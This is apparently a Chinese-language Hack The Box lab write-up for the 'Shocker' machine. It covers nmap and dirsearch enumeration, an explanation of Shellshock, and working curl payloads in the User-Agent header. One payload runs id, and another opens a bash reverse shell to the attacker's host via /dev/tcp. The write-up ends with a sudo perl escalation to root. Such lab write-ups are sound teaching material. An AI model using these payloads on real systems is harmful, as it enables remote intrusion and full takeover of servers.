Hack The Box - Shocker Machine Write-up

前言
其實 Shocker 算是 HTB 裡面蠻簡單的 Machine,只要仔細觀察與枚舉,很容易就可以找到突破口拿到初始 shell;提權也是非常直覺。筆記內容會帶你探索我的完整思路!
目標枚舉 Enumeration
首先使用 nmap 進行掃描
┌──(samchen㉿kali)-[~/Desktop]
└─$ nmap -sC -sV 10.129.172.238
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-02 04:20 EDT
Nmap scan report for 10.129.172.238
Host is up (0.070s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.17 seconds
打開瀏覽器訪問 80 端口,探索一番網頁和原始碼都沒什麼東西。
接著用 dirsearch 來枚舉子目錄
┌──(samchen㉿kali)-[~/Desktop]
└─$ dirsearch -u "http://10.129.172.238" -e php,html,js,txt,conf,sh,cgi,pl
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, html, js, txt, conf, sh, cgi, pl | HTTP method: GET | Threads: 25 | Wordlist size: 13032
Target: http://10.129.172.238/
[04:38:54] Starting:
...
[04:39:14] 403 - 297B - /cgi-bin/
[04:39:36] 403 - 302B - /server-status
[04:39:36] 403 - 303B - /server-status/
Task Completed
繼續在子目錄 cgi-bin 往下枚舉
┌──(samchen㉿kali)-[~/Desktop]
└─$ dirsearch -u "http://10.129.172.238/cgi-bin/" -e php,html,js,txt,conf,sh,cgi,pl
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, html, js, txt, conf, sh, cgi, pl | HTTP method: GET | Threads: 25 | Wordlist size: 13032
Target: http://10.129.172.238/
[04:41:15] Starting: cgi-bin/
...
[04:42:07] 200 - 119B - /cgi-bin/user.sh
Task Completed
找到一個叫 user.sh
的可疑檔案,不過裡面也沒什麼有用的資訊。
在網路上搜尋 cgi-bin 的相關資訊時,看到 一篇文章 寫到關於 Shellshock 的漏洞,推測目標很可能存在此漏洞 CVE-2014-6271。
Shellshock (CVE-2014-6271) 的成因
簡單來說,核心就是 Bash 在解析環境變數中有漏洞,會把函式定義後面的字串當成指令去執行。
而 CGI 在 Apache 下會把 HTTP header 映射成 環境變數 傳給 CGI 腳本。所以我們只要把 payload 塞進某個 header(例如 User-Agent),若目標使用易受攻擊版本的 Bash 去處理,就會執行我們的命令。
先用 curl 測試 RCE(回顯 id)
curl -s -i -H 'User-Agent: () { :;}; echo; echo; /bin/bash -c "id"' http://10.129.172.238/cgi-bin/user.sh
確定存在 Shellshock 漏洞,且程式以 shelly 身分執行。
再來 Reverse Shell
先在攻擊機開監聽
nc -lvnp 8745
再用漏洞觸發 Bash 反向連線
curl -s -H 'User-Agent: () { :;}; /bin/bash -c "bash -i >& /dev/tcp/10.10.14.41/8745 0>&1"' http://10.129.172.238/cgi-bin/user.sh
成功取得 Shell!
拿到 user.txt
最後權限提升
檢查 sudo 權限
shelly@Shocker:/usr/lib/cgi-bin$ sudo -l
sudo -l
Matching Defaults entries for shelly on Shocker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User shelly may run the following commands on Shocker:
(root) NOPASSWD: /usr/bin/perl
發現可以不輸入密碼用 root 身分跑 perl。
查一下 GTFObins (https://gtfobins.github.io/gtfobins/perl/) 告訴我們可以用
sudo perl -e 'exec "/bin/sh";'
直接得到 root shell,然後去拿 root.txt。